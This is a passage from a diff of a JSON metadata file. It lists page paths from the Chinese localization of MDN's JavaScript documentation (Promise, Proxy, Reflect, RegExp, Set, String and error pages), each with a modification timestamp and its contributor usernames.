"Fantasy_shao" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Assertions": { - "modified": "2020-11-07T12:07:11.701Z", + "Web/JavaScript/Reference/Global_Objects/Promise/Promise": { + "modified": "2020-10-15T22:27:28.549Z", "contributors": [ - "hensonxu", - "srq18211", - "oxyg3n", - "zytjs", - "fish-inu", - "Dev_ljp", - "Xu-Angel", - "liuhao088" + "GYN" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Promise/all": { + "modified": "2020-12-13T19:21:55.259Z", + "contributors": [ + "hamishwillee", + "可能你对强有什么误解", + "xgqfrms", + "Debugger-D", + "moldray", + "kite-js", + "gemmi", + "Jiang-Xuan", + "BearZ", + "higrw", + "xgqfrms-GitHub", + "rollinhup", + "Hushabyme", + "iugo", + "billcz", + "zilong-thu", + "fskuok" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Boundaries": { - "modified": "2020-10-30T11:36:06.394Z", + "Web/JavaScript/Reference/Global_Objects/Promise/allSettled": { + "modified": "2020-11-21T01:58:43.408Z", "contributors": [ - "phone-burner" + "xgqfrms", + "wowoqu", + "mountainmoon", + "chrisdavidmills", + "zhangchen", + "bangbang93", + "RoXoM", + "youngboy", + "SphinxKnight", + "jiaqunying" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Character_Classes": { - "modified": "2020-06-28T13:35:45.679Z", + "Web/JavaScript/Reference/Global_Objects/Promise/any": { + "modified": "2020-10-27T03:51:15.177Z", "contributors": [ - "srq18211" + "SphinxKnight", + "mashuiquan", + "damengzhang", + "laampui", + "XLCYun", + "zhangchen", + "yinguangyao" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges": { - "modified": "2020-08-21T07:28:58.610Z", + "Web/JavaScript/Reference/Global_Objects/Promise/catch": { + "modified": "2020-10-15T21:31:34.215Z", "contributors": [ - "srq18211" + "oldmtn", + "xycd", + "banli17", + "zhishaofei3", + "SheltonDong", + "Yevvb", + "HsuanLee", + "xgqfrms-GitHub", + "Hushabyme", + "fskuok", + "mountainmoon" ] }, - "Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes": { - "modified": "2020-07-11T06:10:35.787Z", + "Web/JavaScript/Reference/Global_Objects/Promise/finally": { + "modified": "2020-10-15T22:01:56.341Z", "contributors": [ - "zkmbdbbdd" + "WangLeto", + "zhangchen", + "Pada", + "ZQ-jhon", + "sudoor", + "ziclee", + "zhengzongyi", + "hoshino111" ] }, - "Web/JavaScript/Guide/Regular_Expressions/量词": { - "modified": "2020-06-28T13:50:25.946Z", + "Web/JavaScript/Reference/Global_Objects/Promise/race": { + "modified": "2020-10-15T21:34:18.502Z", "contributors": [ - "srq18211" + "Cuixote", + "lastnigtic", + "zhangchen", + "Jiang-Xuan", + "xgqfrms-GitHub", + "zhang-quan-yi", + "Hushabyme", + "fskuok" ] }, - "Web/JavaScript/Guide/Text_formatting": { - "modified": "2020-07-13T05:48:34.741Z", + "Web/JavaScript/Reference/Global_Objects/Promise/reject": { + "modified": "2020-10-15T21:34:10.841Z", "contributors": [ - "laampui", "zhangchen", - "niccoming", - "evolighting", - "i-PeterZhang", - "456wyc", - "redman9", - "guangxiyu" + "ChauMing", + "Flcwl", + "SphinxKnight", + "fskuok" ] }, - "Web/JavaScript/Guide/Using_promises": { - "modified": "2020-09-28T05:37:42.938Z", + "Web/JavaScript/Reference/Global_Objects/Promise/resolve": { + "modified": "2020-10-15T21:36:39.943Z", "contributors": [ - "Radix10", - "xuquentinyang", - "HashiKudo", - "brizer", - "iEmcc", - "johnao", - "abellong", - "SAM.L", - "RainSlide", - "VickyJin", - "jessica1990", - "TeabugCC", - "zhuangyin", - "ujsxn", - "huixisheng", - "yulongjing", - "rxliuli", - "yonoel", - "DevOps", - "brandonhyc", - "eeeecw", - "zotille", - "xuziang111", - "NN708", - "xuxun", + "inlym", + "ly023", "zhangchen", - "Evoque", - "Pythonofsdc", - "vanishcode", - "winjeysong", - "cwc7233", - "TimmyKingFree" + "xiaoxiyao", + "rockedpanda", + "cyancity", + "Jiang-Xuan", + "fscholz", + "nineSean", + "purple_force", + "Zhangjd", + "ylc395" ] }, - "Web/JavaScript/Guide/Working_with_Objects": { - "modified": "2020-03-21T00:54:40.101Z", + "Web/JavaScript/Reference/Global_Objects/Promise/then": { + "modified": "2020-10-15T21:31:32.284Z", "contributors": [ - "johnao", - "fish-inu", - "ngtmuzi", - "Pomelo1213", - "ywjco", - "kramon", - "kgojiwong", + "BadmasterY", + "RainSlide", + "zrefrain", + "triboby", + "litbear", + "love999262", + "Jiang-Xuan", + "LiXin", + "WenWu92", + "Kylin.this", + "HsuanLee", "xgqfrms-GitHub", - "heliangb46", - "Grizzly-Eric", - "zhanglianxin", - "coderfee", - "kiyonlin", - "IrisZhang", - "xwartz", - "Darkoe", - "XueSeason", - "jigs12", - "ReyCG_sub", - "smartkid", - "teoli", - "koala", - "ziyunfei" + "Ende93", + "Hushabyme", + "RandyLoop", + "hipop", + "liuyiqian", + "fskuok", + "mountainmoon" ] }, - "Web/JavaScript/Inheritance_and_the_prototype_chain": { - "modified": "2020-10-20T00:17:44.610Z", + "Web/JavaScript/Reference/Global_Objects/Proxy": { + "modified": "2020-11-29T05:45:07.225Z", "contributors": [ - "jack_chen", - "Nirvana-zsy", - "PiersZhang", - "YTInMyHeart", - "熊英明", - "AaronZzz", - "hydra-zim", - "demongodYY", - "c932828964", - "maozhenyu123", - "NicholasKong", - "Huangyilin19", - "MonkingStand", + "saifeiLee", + "VicterSun", "RainSlide", - "xulinggege", - "Rayyh", - "glud123", - "HuangXiZhou", - "Ieeebruce", - "Snailight", - "yonoel", - "lllbahol", - "ssttii", - "xgqfrms", - "DPJune1", - "MQpeng", - "yangzi", - "zhuangyin", - "anglli", - "Akiq2016", - "jeasonstudio", - "Sevenskey", - "LiXin", - "qiu_han", - "zhangchen", - "keifergu", - "jiangzhenggeng", - "DendiSe7enGitHub", - "zenith7ryu", - "feiyuabc", - "KngZhi", + "Hilshire", + "liuguanyu", "xgqfrms-GitHub", - "efeencheung", - "TwinkleLeon", - "jyjz2008", - "Mrzouning", - "craney", - "Ende93", - "nanflower", - "Ares_Xu", - "RenzHoly", - "xiaokk06", - "Musan", - "Downpooooour", - "maicss", - "iplus26", - "gavinjs", + "zhangchen", + "Lave", + "gaoupon", + "kdex", + "gaopeng", + "07akioni", + "wzx", + "Go7hic", + "WarriorWu", + "Katherina-Miao", "ziyunfei", - "hbkdsm", - "hipop", - "860136", - "Tranch", - "ReyCG", - "teoli", - "hutuxu" + "teoli" ] }, - "Web/JavaScript/Introduction_to_Object-Oriented_JavaScript": { - "modified": "2020-03-12T19:38:08.916Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/Proxy": { + "modified": "2020-10-15T22:33:06.804Z", "contributors": [ - "huijing", - "SAM.L", - "NarK", - "umiyevol", - "daix6", - "ashjs", - "sabrinaluo", - "xanarry", - "fskuok", - "hackerZhang", - "hipop", - "jamesliuhk", - "awp0011", - "ryanouyang", - "yiding_he", - "teoli", - "yimity", - "shiyutang", - "xcffl" + "zhanghaoxu0128" ] }, - "Web/JavaScript/Introduction_to_using_XPath_in_JavaScript": { - "modified": "2019-03-23T23:53:50.408Z", + "Web/JavaScript/Reference/Global_Objects/Proxy/revocable": { + "modified": "2020-10-15T21:32:15.521Z", "contributors": [ - "chrisdavidmills", - "zhanglianxin", - "zengguanming", - "fscholz", - "ziyunfei", - "Cuimingda" + "RainSlide", + "SphinxKnight", + "ziyunfei" ] }, - "Web/JavaScript/JavaScript_technologies_overview": { - "modified": "2020-03-12T19:38:44.101Z", + "Web/JavaScript/Reference/Global_Objects/RangeError": { + "modified": "2019-03-23T22:27:07.051Z", "contributors": [ - "RainSlide", - "zhanglianxin", - "lunix01", - "Musan", - "ReyCG_sub", - "teoli", - "YuQiang.Yuan" + "wizardforcel", + "MurphyL", + "yatace" ] }, - "Web/JavaScript/Language_Resources": { - "modified": "2020-03-12T19:37:56.380Z", + "Web/JavaScript/Reference/Global_Objects/ReferenceError": { + "modified": "2019-03-23T22:52:45.441Z", "contributors": [ - "lunix01", - "teoli", - "ziyunfei" + "funroller", + "Tienyz" ] }, - "Web/JavaScript/Memory_Management": { - "modified": "2020-03-12T19:38:33.297Z", + "Web/JavaScript/Reference/Global_Objects/Reflect": { + "modified": "2020-10-15T21:38:03.417Z", "contributors": [ - "y00rb", - "xueliang", - "leavesster", - "quding0308", - "liujuntao123", - "JuneDeng2014", - "ilexwg", - "DarrenMan", - "zhangchen", - "micooz", - "sunnylost", + "tita0x00", + "LeonDWong", + "z1948296027", + "ZhangWei-KUMO", + "Akenokoru", "Ende93", - "wth", - "timwangdev", - "jackyKin", - "horizon0514", - "knightf", - "Bosn", - "teoli", - "Samoay", - "tank", - "jnoodle", - "Joe_Zhao", + "AlixWang", + "tanggd", + "Tommy-White", + "linzx1993", + "RoXoM", + "zhangchen", + "xgqfrms-GitHub", + "mo-n", + "wzx", "ziyunfei" ] }, - "Web/JavaScript/Reference": { - "modified": "2020-09-20T23:15:37.162Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/apply": { + "modified": "2020-10-15T21:46:16.764Z", "contributors": [ - "laampui", - "seanhuai", - "wwj402", - "RainSlide", - "ssttii", - "causal", - "zhangchen", "Ende93", - "lunix01", - "ziyunfei", - "teoli", - "CHiENiUS", - "kovchou" + "IAIAE" ] }, - "Web/JavaScript/Reference/About": { - "modified": "2020-03-12T19:40:27.168Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/construct": { + "modified": "2020-07-16T14:15:43.959Z", "contributors": [ - "Jack-Q", - "lunix01", - "qlxiao520", - "ziyunfei", - "yenshen" + "oxyg3n", + "caolvchong", + "xiaoxionganna", + "tornoda", + "sqqihao" ] }, - "Web/JavaScript/Reference/Classes": { - "modified": "2020-11-21T07:35:29.331Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty": { + "modified": "2020-10-15T21:51:24.597Z", "contributors": [ - "xiaoxiao1024", - "xgqfrms", - "niices", - "showad", - "xuyimingwork", - "zytjs", - "brizer", - "johnao", - "PeanutQAQ", - "HermitSun", - "narutojian", - "JackDing1208", - "willerhehehe", - "zhangchen", - "llyo", - "LiXin", - "xgqfrms-GitHub", - "LouisaNikita", - "winjeysong", - "PhilTheAir", - "XiongAmao", - "kylezhang", - "tarma", - "Jeane", - "Ende93", - "miuchan", - "slientomorrr", - "ziyunfei", - "eric183", - "sartrey", - "snandy", - "bumaociyuan" + "laampui", + "tornoda", + "charlesthink", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Classes/Class_elements": { - "modified": "2020-10-15T22:22:33.437Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty": { + "modified": "2019-07-05T03:12:53.100Z", "contributors": [ - "Fogwind", - "wxyads" + "tornoda", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Classes/Private_class_fields": { - "modified": "2020-10-15T22:30:12.129Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/get": { + "modified": "2020-10-15T21:51:21.601Z", "contributors": [ - "zhuangyin", - "symant233", - "wizard-intraining" + "stupidsongshu", + "tornoda", + "AozakiOrenji", + "Hushabyme", + "EpsilonYi" ] }, - "Web/JavaScript/Reference/Classes/constructor": { - "modified": "2020-10-15T21:36:30.986Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor": { + "modified": "2019-03-23T22:20:49.977Z", "contributors": [ - "zhangchen", - "CJackYang", - "jiangseventeen", - "xgqfrms-GitHub", - "Ende93", - "destinyCherry", - "MarxJiao", - "chaooo", - "Lellansin" + "RoXoM", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Classes/extends": { - "modified": "2020-10-15T21:37:25.638Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf": { + "modified": "2020-10-15T21:51:25.998Z", "contributors": [ - "zhangchen", - "thinkershare", - "liuwj", - "xgqfrms-GitHub", - "MoYahoo", - "Ende93", - "xiaoweb", - "ziyunfei", - "TinyJiang", - "pixiu" + "徐鹏跃", + "RoXoM", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Classes/static": { - "modified": "2020-10-15T21:37:45.068Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/has": { + "modified": "2019-03-18T21:00:09.070Z", + "contributors": [ + "sjpeter", + "IAIAE" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible": { + "modified": "2019-03-23T22:20:41.186Z", + "contributors": [ + "cxftj", + "Hushabyme" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys": { + "modified": "2020-10-15T21:51:25.621Z", "contributors": [ - "daijie", - "luna666", - "zhuangyin", - "xgqfrms-GitHub", "zhangchen", - "hijiangtao", - "MrCuriosity", - "kameii", - "solome", - "ngtmuzi", - "willwong", - "knightf", - "lunix01" + "liuy1994", + "Hushabyme" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions": { + "modified": "2020-10-15T21:51:26.999Z", + "contributors": [ + "Astroleander", + "RoXoM", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Deprecated_and_obsolete_features": { - "modified": "2020-03-30T11:15:40.777Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/set": { + "modified": "2020-10-15T21:51:25.331Z", "contributors": [ - "RainSlide", - "teoli", - "ziyunfei" + "zero7u", + "AozakiOrenji", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol": { - "modified": "2020-03-12T19:44:37.222Z", + "Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf": { + "modified": "2020-10-15T21:51:25.701Z", "contributors": [ - "wwj402", - "jwhitlock", - "lsvih" + "徐鹏跃", + "Hushabyme" ] }, - "Web/JavaScript/Reference/Errors": { - "modified": "2020-03-12T19:43:37.546Z", + "Web/JavaScript/Reference/Global_Objects/RegExp": { + "modified": "2020-12-10T23:34:38.471Z", "contributors": [ + "ruienger", + "jingkaimori", + "空杉心雨后", + "ll009366", "Ende93", - "Jack-Q", - "sabertazimi" + "fanerge", + "daijie", + "wbamberg", + "zhuangyin", + "YoungChen", + "myl0204", + "xgqfrms-GitHub", + "kiling", + "biaocy", + "fuchao2012", + "shuata", + "xgqfrms", + "KingMario", + "vbnjfhty", + "y8n", + "tabooc", + "jamesxu", + "teoli", + "AlexChao", + "chyee", + "Darrel.Hsu", + "photino", + "ziyunfei", + "fishenal", + "akawhy", + "shi_zheng", + "GreatHan", + "Hans huang", + "Mickeyboy" ] }, - "Web/JavaScript/Reference/Errors/Already_has_pragma": { - "modified": "2020-03-12T19:45:25.142Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@match": { + "modified": "2020-10-15T21:49:08.862Z", "contributors": [ - "wizardforcel" + "Ende93", + "wizardforcel", + "boatlet" ] }, - "Web/JavaScript/Reference/Errors/Array_sort_argument": { - "modified": "2020-03-12T19:45:22.429Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@matchAll": { + "modified": "2020-10-15T22:16:46.561Z", "contributors": [ - "hui1993", - "Ende93" + "c1er" ] }, - "Web/JavaScript/Reference/Errors/Bad_octal": { - "modified": "2020-03-12T19:45:19.888Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@replace": { + "modified": "2020-10-15T21:54:34.957Z", "contributors": [ - "WayneCui", - "Ende93" + "javenl", + "LeoQuote", + "876843240", + "fanyer" ] }, - "Web/JavaScript/Reference/Errors/Bad_radix": { - "modified": "2020-03-12T19:44:42.812Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@search": { + "modified": "2019-03-23T22:11:28.976Z", "contributors": [ - "xiaokk06" + "fanyer" ] }, - "Web/JavaScript/Reference/Errors/Bad_regexp_flag": { - "modified": "2020-03-12T19:46:18.624Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@species": { + "modified": "2019-03-23T22:18:27.389Z", "contributors": [ - "lazyboywu" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Bad_return_or_yield": { - "modified": "2020-03-12T19:44:37.026Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/@@split": { + "modified": "2019-08-22T23:28:14.164Z", "contributors": [ - "wangmengjun", - "Cattla" + "fangyulovechina", + "fanyer" ] }, - "Web/JavaScript/Reference/Errors/Called_on_incompatible_type": { - "modified": "2020-03-12T19:46:49.645Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/RegExp": { + "modified": "2020-10-15T22:33:53.145Z", "contributors": [ - "WayneCui" + "jingkaimori" ] }, - "Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init": { - "modified": "2020-03-12T19:46:25.675Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/compile": { + "modified": "2019-03-23T22:22:52.399Z", "contributors": [ - "kilodleif", - "WayneCui" + "kameii" ] }, - "Web/JavaScript/Reference/Errors/Cant_access_property": { - "modified": "2020-03-12T19:48:25.216Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/dotAll": { + "modified": "2020-10-15T22:16:46.676Z", "contributors": [ - "zangguodong" + "c1er" ] }, - "Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible": { - "modified": "2020-03-12T19:46:26.772Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/exec": { + "modified": "2020-10-15T21:26:53.403Z", "contributors": [ - "WayneCui" + "CarrotB", + "dear-lizhihua", + "PageYe", + "righttoe", + "shiddong", + "ibufu", + "nandayaduo", + "Marco_dev", + "xgqfrms-GitHub", + "hangyangws", + "LiiiiittleRain", + "paddingme", + "baiya", + "teoli", + "AlexChao", + "ziyunfei", + "LinusYu" ] }, - "Web/JavaScript/Reference/Errors/Cant_delete": { - "modified": "2020-03-12T19:45:31.865Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/flags": { + "modified": "2019-07-04T23:57:57.114Z", "contributors": [ - "lihx_hit", "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Cant_redefine_property": { - "modified": "2020-03-12T19:46:26.214Z", - "contributors": [ - "WayneCui" - ] - }, - "Web/JavaScript/Reference/Errors/Cyclic_object_value": { - "modified": "2020-07-13T11:27:10.484Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/global": { + "modified": "2019-07-04T23:58:07.262Z", "contributors": [ - "Mrdapeng", - "540692039", - "nansanhao", - "WayneCui" + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Dead_object": { - "modified": "2020-03-12T19:46:28.473Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase": { + "modified": "2019-07-04T23:54:43.220Z", "contributors": [ - "WayneCui" + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Delete_in_strict_mode": { - "modified": "2020-03-12T19:46:25.179Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/input": { + "modified": "2019-04-16T05:59:34.644Z", "contributors": [ - "WayneCui" + "gh1031", + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_String_generics": { - "modified": "2020-03-12T19:46:39.182Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex": { + "modified": "2019-07-04T23:55:43.642Z", "contributors": [ - "WayneCui" + "teoli", + "AlexChao", + "ziyunfei", + "Wjsl" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage": { - "modified": "2020-03-12T19:45:21.241Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch": { + "modified": "2019-03-23T22:18:26.965Z", "contributors": [ - "Ende93" + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_expression_closures": { - "modified": "2020-03-12T19:46:34.964Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/lastParen": { + "modified": "2019-03-23T22:18:27.095Z", "contributors": [ - "WayneCui" + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_octal": { - "modified": "2020-03-12T19:46:39.086Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/leftContext": { + "modified": "2019-03-23T22:18:24.587Z", "contributors": [ - "WayneCui" + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma": { - "modified": "2020-03-12T19:45:31.617Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/multiline": { + "modified": "2019-07-04T23:59:21.859Z", "contributors": [ - "Kaede_Shinoda", - "Ende93" + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat": { - "modified": "2020-03-12T19:46:45.691Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/n": { + "modified": "2019-07-12T00:53:55.955Z", "contributors": [ - "WayneCui" + "teoli", + "fengma", + "xgqfrms-GitHub", + "AlixWang" ] }, - "Web/JavaScript/Reference/Errors/Equal_as_assign": { - "modified": "2020-03-12T19:44:21.268Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/rightContext": { + "modified": "2019-03-23T22:18:24.457Z", "contributors": [ - "niaodan2b" + "teoli", + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated": { - "modified": "2020-03-12T19:45:01.286Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/source": { + "modified": "2019-07-04T23:56:46.237Z", "contributors": [ - "_da" + "ziyunfei", + "yenshen" ] }, - "Web/JavaScript/Reference/Errors/Getter_only": { - "modified": "2020-03-12T19:46:35.397Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/sticky": { + "modified": "2020-10-15T21:51:29.415Z", "contributors": [ - "WayneCui" + "Ende93", + "Ahhaha233", + "wenmin92" ] }, - "Web/JavaScript/Reference/Errors/Identifier_after_number": { - "modified": "2020-03-12T19:46:01.632Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/test": { + "modified": "2020-11-19T10:20:16.081Z", "contributors": [ - "AlanStewart6", - "fanxiaobin1992" + "zhuangyin", + "ReedSun", + "symant233", + "ridiculousjam", + "zqyue", + "xgqfrms-GitHub", + "kameii", + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Illegal_character": { - "modified": "2020-03-12T19:46:25.974Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/toSource": { + "modified": "2019-07-04T23:42:36.181Z", "contributors": [ - "WayneCui" + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Invalid_array_length": { - "modified": "2020-03-12T19:44:25.874Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/toString": { + "modified": "2019-07-04T23:42:41.541Z", "contributors": [ - "xiaokk06", - "Hitomichan" + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side": { - "modified": "2020-03-12T19:44:25.285Z", + "Web/JavaScript/Reference/Global_Objects/RegExp/unicode": { + "modified": "2019-07-04T23:59:38.859Z", "contributors": [ - "Ende93" + "wizardforcel" ] }, - "Web/JavaScript/Reference/Errors/Invalid_const_assignment": { - "modified": "2020-03-12T19:46:37.514Z", + "Web/JavaScript/Reference/Global_Objects/Set": { + "modified": "2020-11-10T03:33:00.037Z", "contributors": [ - "WayneCui" + "SphinxKnight", + "Ongve", + "Ende93", + "wallena3", + "woshiqiang1", + "houzp", + "MYWProgram", + "zhuangyin", + "zhangchen", + "Jiang-Xuan", + "buckarooch", + "xgqfrms-GitHub", + "CoCooCo", + "JJPandari", + "tang45", + "xdsnet", + "dingxu", + "tngan", + "ziyunfei", + "fskuok", + "tiansh", + "teoli", + "zhangyaochun1987" ] }, - "Web/JavaScript/Reference/Errors/Invalid_date": { - "modified": "2020-03-12T19:46:02.926Z", + "Web/JavaScript/Reference/Global_Objects/Set/@@iterator": { + "modified": "2020-10-15T22:31:10.470Z", "contributors": [ - "xiaokk06", - "kilodleif", - "dudusky" + "Ende93" ] }, - "Web/JavaScript/Reference/Errors/Invalid_for-in_initializer": { - "modified": "2020-03-12T19:46:25.733Z", + "Web/JavaScript/Reference/Global_Objects/Set/@@species": { + "modified": "2020-10-15T22:05:00.184Z", "contributors": [ - "WayneCui" + "Ende93", + "susan007", + "helloyong" ] }, - "Web/JavaScript/Reference/Errors/Invalid_for-of_initializer": { - "modified": "2020-03-12T19:46:25.653Z", + "Web/JavaScript/Reference/Global_Objects/Set/Set": { + "modified": "2020-10-15T22:31:09.443Z", "contributors": [ - "WayneCui" + "Ende93" ] }, - "Web/JavaScript/Reference/Errors/JSON_bad_parse": { - "modified": "2020-03-12T19:44:41.664Z", + "Web/JavaScript/Reference/Global_Objects/Set/add": { + "modified": "2020-10-15T21:28:25.102Z", "contributors": [ + "Mr_kaze", + "zhuangyin", + "fscholz", + "MaZheng", "Ende93", - "imhaohao" + "Skyang", + "yenshen", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Malformed_URI": { - "modified": "2020-03-12T19:46:27.676Z", + "Web/JavaScript/Reference/Global_Objects/Set/clear": { + "modified": "2019-03-23T23:13:23.536Z", "contributors": [ - "WayneCui" + "MaZheng", + "Ende93", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Malformed_formal_parameter": { - "modified": "2020-03-12T19:45:20.875Z", + "Web/JavaScript/Reference/Global_Objects/Set/delete": { + "modified": "2019-07-08T00:12:51.875Z", "contributors": [ - "Ende93" + "adonWong", + "Ende93", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Missing_bracket_after_list": { - "modified": "2020-03-12T19:45:17.108Z", + "Web/JavaScript/Reference/Global_Objects/Set/entries": { + "modified": "2019-03-23T22:25:08.761Z", "contributors": [ - "Ende93" + "Lunaticf", + "timlee1128" ] }, - "Web/JavaScript/Reference/Errors/Missing_colon_after_property_id": { - "modified": "2020-03-12T19:46:24.903Z", + "Web/JavaScript/Reference/Global_Objects/Set/forEach": { + "modified": "2019-08-05T06:54:27.458Z", "contributors": [ - "WayneCui" + "tzmf", + "Jonnypeng", + "SphinxKnight", + "myl0204", + "tommyzqfeng", + "timlee1128", + "201341", + "gaigeshen" ] }, - "Web/JavaScript/Reference/Errors/Missing_curly_after_function_body": { - "modified": "2020-03-12T19:46:26.744Z", + "Web/JavaScript/Reference/Global_Objects/Set/has": { + "modified": "2019-07-08T00:21:03.715Z", "contributors": [ - "WayneCui" + "marsgt", + "MaZheng", + "SphinxKnight", + "Nonlone" ] }, - "Web/JavaScript/Reference/Errors/Missing_curly_after_property_list": { - "modified": "2020-03-12T19:45:22.931Z", + "Web/JavaScript/Reference/Global_Objects/Set/size": { + "modified": "2020-10-15T21:41:25.836Z", "contributors": [ - "Ende93" + "zhangchen", + "SphinxKnight", + "springuper", + "OmniP" ] }, - "Web/JavaScript/Reference/Errors/Missing_formal_parameter": { - "modified": "2020-03-12T19:46:22.522Z", + "Web/JavaScript/Reference/Global_Objects/Set/values": { + "modified": "2020-10-15T21:48:24.054Z", "contributors": [ - "WayneCui" + "Mr_kaze", + "qiudongwei", + "marsgt", + "holynewbie" ] }, - "Web/JavaScript/Reference/Errors/Missing_initializer_in_const": { - "modified": "2020-03-12T19:46:26.113Z", + "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": { + "modified": "2020-10-15T21:52:10.163Z", "contributors": [ - "WayneCui" + "wallena3", + "szengtal", + "RoXoM", + "AnnAngela", + "xgqfrms-GitHub", + "winjeysong" ] }, - "Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator": { - "modified": "2020-03-12T19:46:26.813Z", + "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/byteLength": { + "modified": "2020-10-15T21:58:35.573Z", "contributors": [ - "WayneCui" + "wallena3", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list": { - "modified": "2020-03-12T19:44:53.187Z", + "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/slice": { + "modified": "2020-10-15T21:58:38.787Z", "contributors": [ - "Idealist_EZ", - "VanLeon" + "wallena3", + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition": { - "modified": "2020-03-12T19:46:25.852Z", + "Web/JavaScript/Reference/Global_Objects/String": { + "modified": "2020-05-13T00:15:31.329Z", "contributors": [ - "WayneCui" + "canyi1942", + "RainSlide", + "Ejgwg0629", + "transping", + "zhangsenhua", + "frankfang1990", + "huangbom", + "xgqfrms-GitHub", + "ezirmusitua", + "sevenqi", + "ouzz413", + "MrBeike", + "msmailcode", + "git123hub", + "Soy", + "webpansy", + "liurenxingyu", + "lunix01", + "FredWe", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": { - "modified": "2020-03-12T19:44:58.615Z", + "Web/JavaScript/Reference/Global_Objects/String/@@iterator": { + "modified": "2019-10-14T06:47:30.493Z", "contributors": [ - "Davont", - "jitingsun" + "SageX", + "Dewey." ] }, - "Web/JavaScript/Reference/Errors/More_arguments_needed": { - "modified": "2020-03-12T19:45:18.099Z", + "Web/JavaScript/Reference/Global_Objects/String/Trim": { + "modified": "2020-10-15T21:07:55.641Z", "contributors": [ - "Ende93" + "brizer", + "RainSlide", + "SageX", + "xgqfrms-GitHub", + "Ende93", + "helloguangxue", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Errors/Negative_repetition_count": { - "modified": "2020-03-12T19:45:19.235Z", + "Web/JavaScript/Reference/Global_Objects/String/anchor": { + "modified": "2019-10-13T02:57:05.433Z", "contributors": [ - "Ende93" + "SageX", + "xgl", + "wwzText", + "Noly1990", + "teoli", + "AlexChao" ] }, - "Web/JavaScript/Reference/Errors/No_non-null_object": { - "modified": "2020-03-12T19:46:21.638Z", + 